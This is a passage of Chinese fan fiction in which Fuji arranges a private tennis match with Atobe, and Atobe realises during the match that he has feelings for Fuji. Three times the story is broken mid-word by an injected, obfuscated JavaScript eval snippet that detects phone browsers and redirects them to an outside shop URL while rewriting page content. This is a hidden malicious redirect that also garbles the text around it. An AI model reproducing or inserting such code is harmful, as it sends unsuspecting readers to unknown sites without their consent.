迹部把手机翻过来扣在桌上,眼不见为净。 但不到十秒,他又把手机翻过来,解锁,打开和不二的聊天界面。最后一条消息是昨天放学不二去摄影社,让自己提前回家要“注意安全”。 他打了几个字“你在哪?”,然后又一个字一个字地删掉。 不行,这样显得他太急了。不二只是出去一下,又不是失踪了。他迹部景吾什么时候变成这种离不开别人的人了?并且不二会不会因为自己这么黏他而更加不想和他待在一起…… 他把手机放下,站起来走到窗边。 窗外的街道上偶尔有人经过,一个遛狗的老人,一对推着婴儿车的年轻夫妇,几个骑着自行车的小孩。没有不二的身影。 这一站就是几个小时…… 迹部看了一眼时间,十点四十了。 不二说午饭前回来,他从来没有觉得这几个小时这么长。 而此时的不二周助正在胜郎的带领下,走在一条他不熟悉的街道上。 早晨六点多,不二就悄悄出了门。他没有在纸条上告诉迹部自己要去哪里,因为他自己也不确定能不能找到合适的地方。 昨晚他想了很久。他和迹部之间的气氛十分微妙,迹部弄不清自己的真实想法忽视了自我,而自己之前与迹部拉开距离的做法也很不对。 这种状态不能再继续下去了。 不二想到了一个办法,那就是网球。 在原来的世界里,网球是他们之间最直接的沟通方式。不需要语言,不需要解释,只要站在球网两侧,就能读懂对方的一切。迹部的球风、迹部的战术、迹部在球场上的每一个表情,都能告诉他很多东西。 同样,他也能通过网球告诉迹部一些事情。 所以他需要找一个合适的场地。普通的公共球场不行,人太多,不一定有空场地。学校社团网球场也不行,容易引发不必要的关注。他需要一个私密的、设施完备的、能让他们尽情打球的地方。 不二第一时间想到了胜郎。胜郎虽然不怎么打网球,但胜郎的朋友多,消息灵通,应该知道哪里有合适的俱乐部。 早上七点,不二在约定好的车站等到了胜郎。 “不二!你今天怎么这么早找我?”胜郎打着哈欠走过来,头发还有些翘,“而且你怎么没戴眼镜?我都差点没认出你!” 不二今天没有戴那副黑框眼镜。既然是要去打网球,眼镜只会碍事。而且在胜郎面前,不需要躲。 毕竟胜郎曾亲口说过“如果不是撞号了,我一定也会追你”对此不二周助只能尴尬微笑。无力吐槽这个异世界…… “胜郎,抱歉周末这么早就找你。我想找一个网球俱乐部。”不二开门见山,“要保密性好、设施完备、有独立空间的那种。你知道哪里有吗?麻烦你了。” 胜郎眨了眨眼。“网球俱乐部?你要打网球?” “嗯。” “你不是说不加入网球部吗?” “不加入网球部不代表不打网球。”不二笑了笑,“只是想找个地方打球。你有推荐的吗?” 胜郎想了想,然后拍了一下手。“有!我表哥以前在一个网球俱乐部当过兼职教练,叫‘网动俱乐部’。设施很好,有室内场和室外场,还有专门的VIP包厢,私密性很高。很多名人和职业选手都在那里训练。” “听起来不错。”不二说,“能带我去看看吗?” “当然可以!”胜郎来了精神,“正好我也想去看看。不过我打得很烂,你可别笑我。” “不会的。” 两个人坐上电车,大约二十分钟后到达了目的地。网动俱乐部坐落在港东市郊外的一片安静区域,周围绿树成荫,环境清幽。主建筑是一栋现代化的玻璃幕墙建筑,门口的停车场上停着几辆豪车。 不二走进大厅,立刻感受到了这里的专业氛围。前台接待人员穿着统一的制服,笑容得体。大厅里陈列着各种网球用品和奖杯,墙上挂着知名球员的签名照片。 胜郎帮不二联系了他的表哥,一个叫中村的年轻人,二十五六岁,皮肤晒得黝黑,身材结实,一看就是运动健将。中村目前在这家俱乐部担任正式教练。 “你就是不二周助?”中村打量了不二一眼,目光在他脸上停了一秒,然后迅速移开,“胜郎跟我说过你。他说你是个很好的人,辛苦你经常照顾他了。” “没有,胜郎才是经常照顾我。”不二谦虚地说。 “表哥!我不是小孩子了!”一旁胜郎不满地看向中村教练。 “不管他,不二,我们俱乐部最近在招新会员。如果你有兴趣,我可以带你参观一下。” 中村带着不二参观了俱乐部的各个区域……室内硬地场、红土场、健身房、更衣室、休息区、还有VI ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494673|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' P包厢。每一处都干净整洁,设施齐全,完全符合不二的要求。 “这里的私密性怎么样?”不二问出了他最关心的问题。 “很好。”中村说,“VIP包厢有独立的入口和更衣室,不会被其他会员打扰。而且我们对会员信息严格保密,不会泄露给任何人。” 不二满意地点了点头。 除了参观,不二还亲自下场感受了一下球场。一切结束后,中村把不二带到休息区,给他倒了一杯水。 “不二君,”中村坐在他对面,双手交叉放在桌上,“说实话,从你的几次热身接发球能看出,你的网球实力不容小觑。如果你愿意,我可以介绍一些体育经纪公司的朋友给你认识。以你的条件和实力,说不定能走职业路线……” “不用了。”不二微笑着打断了他,“我来这里只是为了打球,不是为了别的。” 中村有些遗憾,但也没有强求。“那好吧。如果你想加入俱乐部,我可以帮你办手续。对了,你需要教练吗?我们俱乐部有很多专业的教练,可以根据你的水平制定训练计划。” 不二想了想。“教练暂时不需要,但我有一个朋友……我想预定一个下午的私人球场,下午我会带他来这里打球。他的水平很高,我希望你能在适当的时候……给他一些专业的反馈。” “什么反馈?” “夸奖。”不二说,“发自内心的、专业的夸奖。告诉他他有多强、多优秀、多有天赋。” 中村愣了一下,然后笑了。“你这位朋友,是不是不太自信?” 不二想了想迹部景吾平时的样子,下巴微抬,嘴角上扬,开口闭口“本大爷”。这个人怎么看都和“不自信”三个字不沾边。 “他对自己很自信,只是在某方面有些认不清自己。”不二说。 “行,没问题。”中村爽快地答应了。 不二办好了会员手续,预约了下午的VIP场地。临走前,他又跟中村确认了一遍。 “下午两点,我朋友会来。到时候麻烦你了。” “交给我吧。”中村比了个OK的手势。 不二离开俱乐部后与胜郎一起去了一家咖啡厅闲坐。中途不二将自己以前准备的礼物递给胜郎。 “胜郎,谢谢你今天陪我。”不二笑眯眯地将礼物递过去,双手托腮地看胜郎反应。 谁成想胜郎没有第一时间拆礼物,而是直接熊抱住身旁的不二。双手圈住身旁之人的要,头也在不二颈边疯狂蹭。“哇!不二!我太爱你了!” 这一连串动作让不二周助想到了菊丸英二,也是像只猫猫般蹭人。“好了好了快拆礼物吧。” 不二准备的礼物是一台非常适合新手的相机。此前在学校里胜郎总是会夸赞不二拍摄的照片,对不二的相机也流露出向往的眼神。 向来胜郎是喜欢摄影的,而不二早就想送礼物给胜郎以感谢入学以来对自己的照顾。于是接着这次机会,不二将早已买好的相机送了出去。 胜郎拆开包装被那一看就不便宜的相机吓到了,连忙想着拒绝。 不二一边用温柔的声音表达自己对胜郎长期以来的感谢,一边用不容拒绝的动作将相机放入胜郎背包中。 “呜呜呜呜呜,不二,我更爱你了。要不,我以身相许吧。”胜郎哭唧唧地黏在不二身上,得来的是不二一个轻轻的摸头。 “别闹。” 与胜郎分别后不二到家刚好十二点。 推开门的时候,客厅空无一人,迹部的房门也关着。 “我回来了。”不二说。 几秒后,迹部的房门猛地打开了。 迹部站在门口,手里拿着手机。 “你回来了。”迹部声音有些沙哑。 “嗯。”不二换好鞋,走进厨房,“你还没吃?” “等你。” 不二从冰箱里拿出迹部早上做的早餐,放进微波炉加热。微波炉嗡嗡地转着,两个人站在厨房里,谁都没有说话。 迹部的目光一直落在不二身上。从进门的那一刻起,他就注意到不二今天没有戴眼镜。那张被镜片遮住的脸完整地露了出来,冰蓝色的眼睛在阳光下格外明亮。 “你去哪了?”迹部终于开口了,声音里带着一丝不易察觉的紧绷。 “出去办了点事。”不二说,“下午你就知道了。” “下午?” “嗯。你下午忙吗?” 迹部愣了一下。他本来下午有一个线上投资会议,还有一个合同要审,但此刻…… “不忙。”迹部说,速度快得连他自己都有些意外。 不二转过头看了他一眼,嘴角微微弯起。“那太好了。下午我们出去一趟。” “去哪?” “到了你就知道了。” 12. 网球比赛 下午三点,两个人站在网动俱乐部门口。 出门前被叫穿上一身运动服的迹部看着面前这栋现代化的玻璃幕墙建筑,微微挑眉。“网球俱乐部?” “嗯。”不二拉着迹部手臂进门,“走吧走吧,我预约了场地。” 前台接待人员看到不二的到来,微笑着递过来两张访客卡。中村已经在大厅里等着了,他看到不二,笑着迎上来,然后目光落在了迹部身上。 “这位就是你说的朋友?” “嗯。”不二介绍道,“迹部景吾。迹部,这是中村教练,胜郎的表哥。” 中村打量着迹部,高挑的身材,宽阔的肩膀,修长的手指,肉眼可见的肌肉线条,还有那双锐利的深蓝色眼睛。即使穿着普通的运动装,这个人身上的气场也让人无法忽视。 “你好迹部君。”中村伸出手,“听说你网球打得很好?” 迹部握住他的手,力道适中。“你好,我确实对我的网球实力很自信。” “那一会儿可得让我好好观摩观摩。”中村笑着说,“不二君预约了VIP室内场,我带你们过去。” VIP场地在俱乐部的最深处,需要通过一道专属门禁才能进入。 网动俱乐部作为港东少有的几个高级俱乐部之一,设施完备,服务热情。 场地是标准的室内硬地场,灯光充足,地面平整,四周是透明的防护墙,单面镜,里面能看到外面。 迹部走进场地,环顾四周,轻轻叹气。 熟悉的球场气味…… 胶底的橡胶味、网柱的金属味、空气中淡淡的清洁剂味……和原来的世界一模一样。 他突然觉得恍如隔世。 “多久没打了?”不二放下网球背包,从里面拿出两把网球拍。一把是他自己从原世界带来的,一把是专门为迹部定做的。 迹部挑眉接过球拍,握了握拍柄,球拍完美适配,手感还在。 “也就体育课上和你一起打过了”迹部说,“你呢?”体育课上两人使用着学校最普通、低级的网球拍,在人满为患的操场也不可能打得尽兴。 “我也是。” 两个人站在球场两侧,隔着球网对视。 “怎么突然想打球了?”迹部问。 不二没有直接回答,他把球拍在手里转了转,然后说:“就是想打了。好久没认真打了,你不想打打吗?” 当然想,迹部在心里说,他想得要命。 想念球拍击球的触感,想念球鞋摩擦地面的声音,想念汗水滴落在球场上的感觉,想念与势当力敌的对手全力拼搏的热血…… “想啊。”迹部说着,手心不自觉摩挲球拍。 “那就打。”不二说,“先热身,然后我们俩来打一盘。” 对于不二的提议,迹部没有拒绝。 两个人开始热身,先是简单的拉伸,然后是对拉。不二打了一个底线球,迹部轻松回击。球的落点精准,速度适中,节奏稳定。 几个来回之后,两个人同时加快了速度。 球速越来越快,角度越来越刁钻。球拍击球的声音在封闭的场地里回荡,嘭嘭嘭,像是心跳的节奏。 中村手里拿着记录板站在场边,眼睛一刻都没有离开过球场。他的表情从一开始的随意变成了专注,又从专注变成了惊讶。 这两个人的水平,比他预想的要高得多。仅仅是热身球就能看出两人的实力就不容小觑。 热身结束,不二站在底线后,右手握着球拍,左手转动着那颗黄绿色的网球。他的姿态很放松,甚至看起来有些漫不经心,但那双冰蓝色的眼睛已经完全睁开了。 迹部站在球网对面,看到那双眼睛的时候,呼吸不自觉地顿了一下。 不二认真了。 “开始吧。”感受着熟悉的比赛氛围,不二周助心中默默确定接下来自己该怎么做。 “嗯。” 第一局,不二率先发球。 他把球高高抛起,像一张拉满的弓般身体向后弓起。然后猛地向前,球拍击中球的瞬间发出清脆的响声。黄绿色的网球以极快的速度飞过球网,落地,弹起,带着强烈的侧旋向外侧飞去。 迹部判断对了方向,提前移动,反手回击。球贴着网飞过,落在不二的场地内。 不二迅速上网,他的脚步轻盈得像猫,在球落地之前就已经移动到了最佳位置。截击,球拍面微微倾斜,球被打向迹部的反手位死角。 迹部飞速追击,他的脚步移动极快,在球落地前赶到正手打出一条直线,球擦着边线落在不二的身后。 0-15。 不二看着球落地的位置,嘴角微微弯起。“不错嘛,迹部。” “当然。”迹部说,“可别小瞧了我。” 第一局两人就全力以赴,最终不二周助略胜一筹赢下第一局。 对此,迹部的回应是:“本大爷的发球局,你来破破看。” 不二笑了笑,走到另一侧准备接发球。 迹部的发球没有丝毫退步,力量大、角度刁、旋转强。他把球抛起,身体腾空,球拍以惊人的速度挥下。球像一颗炮弹一样飞过来,落地后弹起的高度几乎到了不二的肩膀。 面对这样的发球,大多数选手会选择后退,给自己更多反应时间。 但不二没有退。 他侧身双手反拍,在球弹起的最高点迎了上去。球拍与球接触的瞬间,他手腕轻轻一转,球被改变了轨迹,沿着一条几乎与球网平行的直线飞向迹部的反手位。 穿越球。 迹部扑过去,但球已经落地了。 15-0。 迹部看着那个球的轨迹,深蓝色的眼睛里闪过一丝光。“你还是这么灵性。” “有效吧。”不二说。 接下来的比赛,两个人打得难解难分。 不二的球风在迹部眼中一向不是靠蛮力,而是靠技巧和智慧。他的每一球都有目的,每一个落点都经过计算。他会在不经意间改变节奏,让对手失去平衡。也会用看似普通的回球引诱对手上网,然后在最后一刻打出绝杀。 但今天,迹部看到了更多的东西。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494674|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他看到不二在面对他的强力发球时不退反进,用精准的借力回击把球送到他最难受的位置。他看到不二在底线相持中,用变化多端的旋转和落点,一点一点地消耗他的体力。他看到不二在被动防守时,总能在最后一刻打出让人意想不到的球…… 短球、挑高球、角度刁钻的穿越球…… 虽然被称为青学天才,但这些技巧与临时应对都不是简单靠天赋就能做到的。这是无数个小时的训练、无数场比赛的积累、无数次对网球的思考和理解,才能形成的技术体系。 不二的网球,是智慧型的网球。不,是全面型网球。 他阅读比赛的能力极强,往往在迹部出手之前,就已经判断出了球的落点和旋转。他的脚步移动精准高效,从不浪费一步多余的跑动。他的手感细腻得惊人,能在高速对抗中打出毫米级的落点控制。 比分交替上升。 1-0,2-1,2-1,2-2,3-2,3-3…… 尽管迹部一向以卓越的眼力以及充沛的体力为外人所熟知,但此刻迹部也逐渐开始出汗了。汗水顺着额头滴下来,他抬手擦掉,专注力完全集中在球上。 对面的不二周助看起来依然从容,他的呼吸微喘,脚步轻盈,每一个动作都流畅自然,仿佛不是在比赛,而是在跳舞。 中村在场边看得入神。他的记录板上半部分写满了字,下半部分空白一片,显然此刻他已经顾不上记录了。眼睛追着那颗黄绿色的球,看着它在两个人之间飞来飞去。 “这个不二周助……”中村喃喃自语。他不自夸地说自己也算是网球网球实力强手强手了,不然也不可能受聘在这家高级俱乐部当教练。他教过很多学生,见过很多天赋异禀的选手,但像不二这样把技术和智慧结合得如此完美的,屈指可数。 他的球风没有明显的短板。底线、网前、发球、接发球,每一项都很强。但他的强大不在于某一项技术的突出,而在于整体的平衡和对比赛的掌控力。 他能让对手按照他的节奏打球。 除此之外那似乎拥有使用不完的绝招更是令人叹为观止。 4-3,4-4,5-4,5-5。 第十一局,不二发球。 抛球,身体腾空,球拍挥下,球速极快。迹部抓住机会提前预判,正手强攻,打向不二的反手位。 不二在跑动中反手回击,球擦着网带飞过,落在迹部的场地内。 迹部追上去,但在球即将落地的瞬间,球突然改变了方向……白鲸…… 球在空中划出一道弧线,落在迹部的场地内,然后弹起向后滚动,仿佛被一只无形的手拉了回去。 迹部看着那个球,没有去追。 “白鲸。”迹部说,“你还真是厉害啊。” “你也很厉害。”不二擦了擦汗。 比分变成6-5。第十二局,迹部的发球局。 迹部把球抛起,发球。球速不快,但旋转很强。不二判断出了旋转方向,提前移动,正手回击。 两个人开始了漫长的底线拉锯。 13. 知晓心意 迹部注意到不二的球越来越深,每一球都落在底线附近,逼迫他不断后退。他的回球质量开始下降,而不二抓住这个机会,开始调动他跑动。 左、右、左、右。迹部在底线两端来回奔跑,呼吸越来越重。 但不二依然从容,他的脚步依然轻盈,他的击球依然精准,他的表情依然平静。 中村在场边深吸了一口气。这个不二周助,不仅仅是技术好,他的体能和心理素质也是一流的。在如此高强度的对抗中,居然还能保持这样的稳定性。胜郎这个朋友可真不简单啊。 这一分打了将近三十个来回。 最后,迹部出现了失误。他的正手出界了。 0-15。 15-15 15-30 15-40 两个赛点。 迹部深吸一口气,把球抛起。 这一次,他发了一个内角球,球速极快,直接砸在底线上。不二勉强够到球,回球质量很低,球落在中场。 迹部看准时机一记底线球。 不过此时的不二已经调整好了姿势,他没有给迹部机会直接正手强攻,打向迹部的反手位死角。 球落地,弹起,撞在防护墙上。 比赛结束。7-5。 不二放下球拍,双手撑在膝盖上,微微喘气。他的衣服被汗水浸湿贴在身上,头发上也全是汗。 迹部站在球网对面,也弯着腰喘气。他的呼吸比不二更重,汗水滴在地板上,汇成一小摊。 两个人都没有说话。只有急促的呼吸声在空旷的场地里回荡。 过了一会儿,迹部直起身看着不二。 不二也直起身来,汗水顺着他的脸颊滑下来,栗色的头发湿漉漉地贴在额头上,但那双冰蓝色的眼睛依然明亮。 夕阳从场地的天窗斜射进来,落在不二的身上。白色的运动T恤被汗水浸湿,贴在身上,勾勒出少年清瘦但结实的身体线条。他的胸口还在起伏,呼吸还没有完全平复,但他的站姿依然挺拔,像一棵在风中也不肯弯腰的竹。 迹部看着那个画面,心脏猛地跳了一下。 不是因为不二赢了,也不是因为不二的技术有多好。 而是因为,不二周助此时的样子,太耀眼了。 那种耀眼不是外表的耀眼,而是一种从内而外散发出来的光芒。是他在球场上永不放弃的坚持,是他面对强敌时从不退缩的勇气,是他用智慧和技巧击败对手时的从容,是他即使在逆境中也能微笑着找到出路的能力…… 迹部想起第一次在网球场上看到不二的样子,纤细的少年被青学一行人围在中间。那时候他就觉得这个眯着眼睛微笑的少年不简单。 后来在全国大赛上他看到不二睁开眼的样子,那双冰蓝色的眼睛里燃烧着火焰。再后来,不二和【规则】对抗的时候,自信、强大、他看到不二在绝境中依然微笑…… 每一个画面里,不二都在发光。 而他,一直在看,一直在注视着这颗闪耀的星星。 从最初的关注,到后来的在意,再到现在的…… 迹部景吾站在球网对面,看着不二周助被夕阳镀上一层金色的身影,心里那个一直模糊不清的东西忽然变得清晰了。 不是愧疚。 不是补偿。 不是那场意外的余波。 是喜欢。 从很早很早以前就开始了,早到他自己都没有意识到。那些不自觉的关心,那些想不明白的理由,那些说不出口的答案,全都指向同一个方向…… 他喜欢不二周助。 他把不二的地位放在自己之上不是因为自己想要弥补不二,而是因为不二本身就值得被喜欢。 那场意外确实让他感到愧疚,但是想要对不二好却是因为不二周助这个人,从骨子里就散发着让人移不开目光的光芒。 那种光芒在今天的球场上,尤其耀眼。 不二周助用他的球拍、他的技术、他的智慧、他的坚持,告诉迹部景吾一件事:我不需要你的保护,我自己就很强。 而迹部景吾被这样的不二周助,彻底征服了。 “你赢了。”迹部说,声音有些沙哑,但很平静。 “侥幸。”不二笑了笑,“你很久没打了,状态还没完全恢复。” “本大爷不需要借口。”迹部走到网前,伸出手,“下次本大爷会赢。” 不二握住他的手。两个人的手都湿漉漉的,全是汗,但没有人在意。 “好啊。”不二说,“下次。” 就在迹部用毛巾将不二头发全部盖住帮忙擦汗时,中村从场边走了过来。 “打得太棒了!”中村说,目光在两个人之间来回移动,“你们两个的水平,就算放在职业圈里也很强!” “谢谢。”不二躲开迹部的双手,像是小猫一样顶着乱糟糟的头发从毛巾底下出来,退后一步至迹部身后。 中村转向迹部,表情认真。“迹部君,你的发球让我印象很深。力量、角度、旋转都控制得很好,尤其是那个外角发球,落点精准,弹起后的外旋幅度很大,一般人根本接不到。” 迹部微微挑眉。“你眼光不错。” “当然。”中村说,“说来惭愧,以我的实力当不了你们俩的教练。你们的身体素质也很好,身高、臂展、爆发力都是顶级的。如果你愿意走职业路线,我可以帮忙联系……” “不用了。”迹部打断了他,语气比之前柔和了一些,但依然坚定,“本大爷在这个世界不想打职业。” “那太可惜了。”中村没有察觉迹部嘴里的“这个世界”的深义,而是继续真诚地说,“你的实力真的非常强。以你的水平,在职业赛场上也能打出名堂。” 迹部没有说话,但他的眼神里闪过一丝光。 不二在旁边看着,嘴角微微弯起。 “中村教练,”不二说,“你觉得迹部最强的点是什么?” 中村想了想。“综合实力。他的发球、底线、网前、移动……每一项都很强。但最让我印象深刻的是他的阅读比赛能力。他能很快找到对手的弱点,然后针对性地进攻。这种能力是天生的,教不出来。” 他顿了顿,补充道:“而且他的心理素质很好。比分落后的时候没有急躁,反而越打越稳。这种大心脏,是成为顶尖选手的必要条件。” 迹部站在那里,听着中村的评价。他的表情很平静,对于中村喋喋不休的夸奖,他的脑海中全是刚刚不二周助从毛巾底下出来的样子。 乱糟糟,红扑扑,真可爱。 “行了。”迹部说,“本大爷知道自己很强,不用你再说。” 中村也识趣。“那我不说了。你们继续打?场地还有一个小时。” “不打了。”不二说,“今天就到这里。” 他转向迹部,笑着说:“怎么样?打得开心吗?” 迹部看着不二。不二的脸因为运动而泛红,红扑扑的像一颗诱人的苹果,没了眼镜的遮挡那双冰蓝色的眼睛在灯光下格外明亮。他站在那里,手里握着球拍,姿态放松,笑容真诚。 这个画面,迹部觉得自己会记一辈子。 “开心。”迹部说。这是实话。 “那就好。”不二笑了笑,“以后咱们经常来练练?” “好。” 两个人收拾好东西,走出俱乐部。太阳已经逐渐西斜,天空被染成了橘红色。晚风吹过来,带着丝丝凉意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494675|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “不二。”迹部开口。 “嗯?” “你今天早上……是来订场地的?” “嗯,托胜郎的福找到了这家俱乐部还有中村教练。” “就是为了打球?” 不二想了想。“不全是。” “那还有什么?” 不二停下脚步,转过身看着迹部。夕阳的光线落在他的脸上,把他的眼睛照得很亮。 “我想让你知道一件事。”不二说。 “什么事?” “我很强。”不二说,语气平静,但每一个字都很清晰,“我不需要别人保护,我可以自己照顾自己。所以你不要因为担心我而耽误自己的事。你也很强,你可以过自己更好的生活。我让你重视自己不会影响我们之间的关系,我们会是一辈子的好朋友。” 迹部看着不二的眼睛,那双冰蓝色的眼睛里像是布满璀璨星光,如此夺目,吸引着他的视线。 “我知道。”迹部说。 不二愣了一下:“你知道?” “本大爷一直都知道。”迹部说,“你是青学的天才不二周助。你打败过本大爷,打败过【规则】,打败过很多人。你怎么可能不强?” “那你……” “因为本大爷愿意。”迹部打断了他,“我想明白了。我照顾你,不是因为愧疚,而是因为本大爷愿意。” 不二沉默了。 他看着迹部的眼睛,那双深蓝色的眼睛里有一种他读不太懂的情绪。不是愧疚,不是补偿,不是迷茫,而是某种更深的、更热烈的东西。 “走吧。”迹部转身,继续往前走,“司机快到门口了。” 不二站在原地,看着迹部的背影。夕阳把他的影子拉得很长,几乎延伸到了不二的脚边。 他忽然觉得,自己好像漏掉了什么重要的东西。 但一时之间,他又说不上来是什么。 不二快步跟了上去。 两个人走到俱乐部门口等车,夕阳的光线把两个人的影子拉得很长,交叠在一起。 “不二。” “嗯?” “你刚才说,我们会是一辈子的好朋友。” 不二转头看着他。“嗯,对啊。” 迹部沉默了几秒。他看着逐渐驶来的轿车,车窗在夕阳下反射着橘红色的光,延伸到看不见的远方。 “本大爷记住了。”迹部说。 不二笑了。“好啊。” 轿车缓缓停下,不二靠着窗户,闭着眼睛,呼吸渐渐变得平缓,睡着了。 昨晚他思考到很晚,今天一早出门加上刚刚与迹部的比赛,他太累了。 如今迹部说弄清楚了自己的内心想法,他也算是放心了。既然迹部说不是愧疚,他就选择相信。 迹部看着身旁的不二,看着夕阳的光线在他的脸上流动,看着他微微弯起的嘴角,看着他睫毛在眼下投下的阴影。 “一辈子的好朋友。”迹部又默念了一遍。 然后他在心里补充了一句:“但本大爷不会只满足于此。” 车平稳地向前行驶,穿过港东市的黄昏。窗外的城市在夕阳中闪闪发光,像一座被金色包裹的城堡。 迹部看着不二的睡颜,嘴角微微翘起。 今天,他看到了不二周助最耀眼的样子。 而那个样子,让他彻底明白了自己的心意。 不是因为愧疚,不是因为补偿,不是因为那场意外。 是因为不二周助这个人,本身就值得他所有的关注、所有的关心、所有的喜欢。 从很早以前就开始了。 只是他今天才真正意识到。 不过,没关系。他有的是时间。 14. 最想告白之人 网球比赛之后,不二与迹部之间的关系像被什么东西轻轻推了一把,回到了原来的轨道上,甚至比原来更近了一些。 不二说不上来具体是什么时候开始变化的。也许是第二天早上,他走出房间的时候,迹部已经在厨房里了。 灶台上的锅冒着热气,迹部穿着围裙,正在用筷子翻动锅里的什么东西。阳光从窗户照进来,落在他紫灰色的头发上,整个人像是被镀了一层金边。 “早。”迹部听见声音头也不回地说。 “早。”不二走到厨房边,习惯性地帮迹部挽起衣袖。 早餐在安静而舒适的氛围中进行。筷子碰触碗碟的声音、偶尔的交谈声、窗外的鸟叫声,交织成一首平淡而温暖的晨曲。 吃完饭后,不二站起来收拾碗筷。 “坐下,我来洗。”迹部从不二手中接过碗筷,并拉着他的手来到洗手池为他洗手。 “迹部,别把我当小孩哦。”对于迹部的动作不二倒没有拒绝,而是任他揉搓双手。虽然【愧疚】这件事已经结束,但迹部好像还是在习惯性照顾他。 “明白明白,青学天才不是小孩。”而是我心中人…… 修长的手指穿过不二的指缝,泡沫在掌心化开。迹部低着头,睫毛微微颤着,没有看不二的脸。 不二的指尖微凉,骨节分明,在他掌心里像一只乖顺的鸟。迹部的心跳快得不讲道理,明明只是洗手,却像是握住了全世界。 “迹部。”不二开口。 “嗯?” “你今天下午是不是有个会?” “嗯。三点,线上。” “我今天下午有个摄影奖项要去领,下午不用等我吃饭哦。” 迹部关掉水龙头,把手擦干:“几点结束?” “大概五点半?” “本大爷到时候去接你。” “不用啦……” “本大爷想去接你。”迹部的语气不容置疑,带着不容拒绝的关心。 许是迹部的语气太过于理所应当,不二没有拒绝。“好吧,记得注意安全哦。” 自从迹部景吾发现自己的心意,他对不二的好变得更加细致,这种好体现在生活的方方面面。 本来是平分的家务现在被迹部一手包揽,走路时会刻意将不二处于内侧安全地带,逛商店时会随时观察有没有不二喜欢的,在被告白时会帮助不二处理对付不了的意外…… 这种好让不二周助对迹部“不是因为愧疚”产生怀疑,但迹部实打实的变化又让他消除了这份困扰,而是回报以同样的关心。 迹部现在对这个世界里自己的发展有一个清晰的规划。以前他只是想着能照顾好不二就好了,开公司建财团都只是想给不二更好的生活条件。 但是现在不一样了,不二是那样的耀眼,而他必须要同样耀眼。既然自己对他人说过“喜欢的人要优秀,要能配得上本大爷”,那么作为说出口的人同样要做到这一点。要足够优秀,要配得上不二。 随着日子一天天过去,迹部财团已经成为了港东市最具潜力新势力,而迹部的心里也有一个想法在逐渐冒头。 周一中午,不二和迹部照例在图书馆的角落里吃午饭。 不二打开便当盒,看到里面整整齐齐地摆着炸虾、厚蛋烧、小番茄和饭团。炸虾的外皮金黄酥脆,厚蛋烧的颜色均匀,饭团捏成了可爱的三角形。 “今天的便当好精致。”不二说。 “当然。”迹部打开自己的便当盒,“本大爷今天早上多花了十分钟摆盘。”虽然能找厨师做饭节省时间,但能亲手照料不二三餐饮食的感觉意外的美好。 没有解释为什么今天的便当如此精致,迹部转向另一个话题:“不二,本大爷买了栋房子。” 不二放下筷子,看着迹部。“房子?” “嗯。港东湾那边的高层公寓,视野很好。”迹部说,“本来想买别墅的,但离学校太远了。” “恭喜你。”不二说,“终于不用住我那间小公寓了。”现在住的房子确实不大,完全不符合迹部的华丽风格。 迹部看着他。“本大爷的意思是,你搬过去和我一起住。” 不二愣了一下。 “现在这间公寓的房间太不华丽了。”迹部继续说,语气像是在陈述一个不容置疑的事实,“床太小,厨房太窄,连个像样的浴缸都没有。本大爷的新房子有好几个卧室。客卧比你现在的主卧还大。你搬过来,主卧给你住。” “不用……” “本大爷不是白给你住的。”迹部打断了他,“现在的房子是租的,我都住不好。我想请管家请住家保姆都不方便,想装洗碗机也不行。到时候咱们一起住新家也可以省出时间找回家的方法……” 看不二没说话,迹部继续:“要是还不行,咱们俩一起出钱买栋房子怎么样?怎么都比现在的屋子好。” 不二周助此时在思考。 一直以来他都知道迹部对他很好,好到一切以他的心意为主。 自从周末的网球比赛后,迹部开始更加重视自己的发展。迹部不再把所有的时间都花在他身上,而是开始认真地经营自己的事业。投资越来越成功,未来越来越清晰。 不二觉得,这才是迹部景吾应该有的样子。不是围着他转的迹部,而是那个光芒万丈、让所有人都移不开目光的迹部…… “好好好,我搬。”不二举手投降。迹部,你的友情我还不完了啊…… 听见不二同意,迹部整个人都兴奋起来。他并排与不二走回教室,刻意贴近两人之间的距离,肆意彰显着两人的亲近。 下午第一节课结束后,胜郎从走廊里跑过来,脸上的表情像是刚吃了一个大瓜。 “不二!不二!”胜郎气喘吁吁地跑到不二的座位旁边,“你看学生论坛了吗?” “没有啊。”不二正在整理笔记本,“怎么了胜郎?” 胜郎的眼睛亮得像灯泡,压低声音说:“和你说一个大八卦!论坛上有一个帖子,本来是有人在匿名哭诉说告白太难了,然后大家就开始讨论……讨论着讨论着,就变成了‘最想告白之人’的评选!” 不二对此没什么反应。学生论坛他没有去看过,而这些八卦他也不关注。但他依旧笑眯眯回应着胜郎,不让他的热情落地:“然后呢?” 